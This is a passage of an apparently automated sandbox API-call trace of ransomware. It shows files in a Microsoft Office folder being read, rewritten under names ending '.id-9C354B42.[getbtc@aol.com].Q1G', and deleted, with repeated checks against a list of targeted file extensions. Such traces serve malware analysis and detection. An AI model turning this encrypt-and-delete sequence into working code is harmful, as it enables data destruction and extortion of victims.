Office\\Office14\\CONVERT\\1033\\OLADDR.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0259.099] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.099] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0259.102] GetLastError () returned 0x0 [0259.102] ReadFile (in: hFile=0x3c0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x35b0, lpOverlapped=0x0) returned 1 [0259.103] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x35c0, lpOverlapped=0x0) returned 1 [0259.104] ReadFile (in: hFile=0x3c0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.104] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0259.105] SetEndOfFile (hFile=0x3a0) returned 1 [0259.105] CloseHandle (hObject=0x3a0) returned 1 [0259.105] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.105] SetEndOfFile (hFile=0x3c0) returned 1 [0259.107] CloseHandle (hObject=0x3c0) returned 1 [0259.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae")) returned 1 [0259.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0259.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0259.108] lstrlenW (lpString=".doc") returned 4 [0259.108] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.108] lstrlenW (lpString=".docx") returned 5 [0259.108] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0259.108] lstrlenW (lpString=".pdf") returned 4 [0259.108] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.108] lstrlenW (lpString=".xls") returned 4 [0259.108] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.108] lstrlenW (lpString=".xlsx") returned 5 [0259.108] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0259.108] lstrlenW (lpString=".ppt") returned 4 [0259.108] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0259.108] lstrlenW (lpString=".zip") returned 4 [0259.108] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.108] lstrlenW (lpString=".rar") returned 4 [0259.108] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.108] lstrlenW (lpString=".bz2") returned 4 [0259.108] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.108] lstrlenW (lpString=".7z") returned 3 [0259.108] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0259.108] lstrlenW (lpString=".dbf") returned 4 [0259.108] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0259.108] lstrlenW (lpString=".1cd") returned 4 [0259.109] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0259.109] lstrlenW (lpString=".jpg") returned 4 [0259.109] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0259.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0259.109] lstrlenW (lpString=".doc") returned 4 [0259.109] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.109] lstrlenW (lpString=".docx") returned 5 [0259.109] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0259.109] lstrlenW (lpString=".pdf") returned 4 [0259.109] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.109] lstrlenW (lpString=".xls") returned 4 [0259.109] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.109] lstrlenW (lpString=".xlsx") returned 5 [0259.109] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0259.109] lstrlenW (lpString=".ppt") returned 4 [0259.109] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0259.109] lstrlenW (lpString=".zip") returned 4 [0259.109] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.109] lstrlenW (lpString=".rar") returned 4 [0259.109] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.109] lstrlenW (lpString=".bz2") returned 4 [0259.109] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.109] lstrlenW (lpString=".7z") returned 3 [0259.109] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0259.109] lstrlenW (lpString=".dbf") returned 4 [0259.109] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0259.109] lstrlenW (lpString=".1cd") returned 4 [0259.109] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0259.109] lstrlenW (lpString=".jpg") returned 4 [0259.110] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.110] lstrcmpiW (lpString1=".FAE", lpString2=".Q1G") returned -1 [0259.110] lstrlenW (lpString="OLAPPTR.FAE") returned 11 [0259.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0259.110] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=11704) returned 1 [0259.110] CloseHandle (hObject=0x3c0) returned 1 [0259.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae")) returned 0x20 [0259.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0259.111] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.111] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0259.111] GetLastError () returned 0x0 [0259.111] ReadFile (in: hFile=0x3c0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x2db8, lpOverlapped=0x0) returned 1 [0259.113] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2dc0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x2dc0, lpOverlapped=0x0) returned 1 [0259.114] ReadFile (in: hFile=0x3c0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.114] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0259.114] SetEndOfFile (hFile=0x3a0) returned 1 [0259.114] CloseHandle (hObject=0x3a0) returned 1 [0259.114] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.114] SetEndOfFile (hFile=0x3c0) returned 1 [0259.119] CloseHandle (hObject=0x3c0) returned 1 [0259.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae")) returned 1 [0259.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0259.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0259.120] lstrlenW (lpString=".doc") returned 4 [0259.120] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.120] lstrlenW (lpString=".docx") returned 5 [0259.120] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0259.120] lstrlenW (lpString=".pdf") returned 4 [0259.120] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.120] lstrlenW (lpString=".xls") returned 4 [0259.120] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.120] lstrlenW (lpString=".xlsx") returned 5 [0259.120] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0259.120] lstrlenW (lpString=".ppt") returned 4 [0259.120] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0259.120] lstrlenW (lpString=".zip") returned 4 [0259.120] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.120] lstrlenW (lpString=".rar") returned 4 [0259.120] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.120] lstrlenW (lpString=".bz2") returned 4 [0259.120] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.120] lstrlenW (lpString=".7z") returned 3 [0259.120] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0259.120] lstrlenW (lpString=".dbf") returned 4 [0259.120] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0259.120] lstrlenW (lpString=".1cd") returned 4 [0259.120] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0259.120] lstrlenW (lpString=".jpg") returned 4 [0259.121] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0259.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0259.121] lstrlenW (lpString=".doc") returned 4 [0259.121] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.121] lstrlenW (lpString=".docx") returned 5 [0259.121] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0259.121] lstrlenW (lpString=".pdf") returned 4 [0259.121] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.121] lstrlenW (lpString=".xls") returned 4 [0259.121] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.121] lstrlenW (lpString=".xlsx") returned 5 [0259.121] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0259.121] lstrlenW (lpString=".ppt") returned 4 [0259.121] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0259.121] lstrlenW (lpString=".zip") returned 4 [0259.121] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.121] lstrlenW (lpString=".rar") returned 4 [0259.121] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.121] lstrlenW (lpString=".bz2") returned 4 [0259.121] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.121] lstrlenW (lpString=".7z") returned 3 [0259.121] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0259.121] lstrlenW (lpString=".dbf") returned 4 [0259.121] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0259.122] lstrlenW (lpString=".1cd") returned 4 [0259.122] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0259.122] lstrlenW (lpString=".jpg") returned 4 [0259.122] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.122] lstrcmpiW (lpString1=".FAE", lpString2=".Q1G") returned -1 [0259.122] lstrlenW (lpString="OLJRNLR.FAE") returned 11 [0259.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0259.122] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=10160) returned 1 [0259.122] CloseHandle (hObject=0x3c0) returned 1 [0259.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae")) returned 0x20 [0259.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0259.123] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.123] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0259.124] GetLastError () returned 0x0 [0259.124] ReadFile (in: hFile=0x3c0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x27b0, lpOverlapped=0x0) returned 1 [0259.333] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x27c0, lpOverlapped=0x0) returned 1 [0259.334] ReadFile (in: hFile=0x3c0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.334] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0259.334] SetEndOfFile (hFile=0x3a0) returned 1 [0259.334] CloseHandle (hObject=0x3a0) returned 1 [0259.334] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.334] SetEndOfFile (hFile=0x3c0) returned 1 [0259.336] CloseHandle (hObject=0x3c0) returned 1 [0259.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.337] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae")) returned 1 [0259.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0259.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0259.338] lstrlenW (lpString=".doc") returned 4 [0259.338] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.338] lstrlenW (lpString=".docx") returned 5 [0259.338] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0259.338] lstrlenW (lpString=".pdf") returned 4 [0259.338] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.338] lstrlenW (lpString=".xls") returned 4 [0259.338] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.338] lstrlenW (lpString=".xlsx") returned 5 [0259.338] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0259.338] lstrlenW (lpString=".ppt") returned 4 [0259.338] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0259.338] lstrlenW (lpString=".zip") returned 4 [0259.338] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.338] lstrlenW (lpString=".rar") returned 4 [0259.338] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.338] lstrlenW (lpString=".bz2") returned 4 [0259.338] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.338] lstrlenW (lpString=".7z") returned 3 [0259.338] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0259.338] lstrlenW (lpString=".dbf") returned 4 [0259.338] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0259.338] lstrlenW (lpString=".1cd") returned 4 [0259.338] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0259.338] lstrlenW (lpString=".jpg") returned 4 [0259.338] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0259.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0259.339] lstrlenW (lpString=".doc") returned 4 [0259.339] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.339] lstrlenW (lpString=".docx") returned 5 [0259.339] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0259.339] lstrlenW (lpString=".pdf") returned 4 [0259.339] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.339] lstrlenW (lpString=".xls") returned 4 [0259.339] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.339] lstrlenW (lpString=".xlsx") returned 5 [0259.339] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0259.339] lstrlenW (lpString=".ppt") returned 4 [0259.339] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0259.339] lstrlenW (lpString=".zip") returned 4 [0259.339] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.339] lstrlenW (lpString=".rar") returned 4 [0259.339] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.339] lstrlenW (lpString=".bz2") returned 4 [0259.339] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.339] lstrlenW (lpString=".7z") returned 3 [0259.339] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0259.339] lstrlenW (lpString=".dbf") returned 4 [0259.339] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0259.339] lstrlenW (lpString=".1cd") returned 4 [0259.339] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0259.340] lstrlenW (lpString=".jpg") returned 4 [0259.340] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.340] lstrcmpiW (lpString1=".SAM", lpString2=".Q1G") returned 1 [0259.340] lstrlenW (lpString="DESKSAM.SAM") returned 11 [0259.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.374] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=23424) returned 1 [0259.374] CloseHandle (hObject=0x390) returned 1 [0259.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam")) returned 0x20 [0259.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 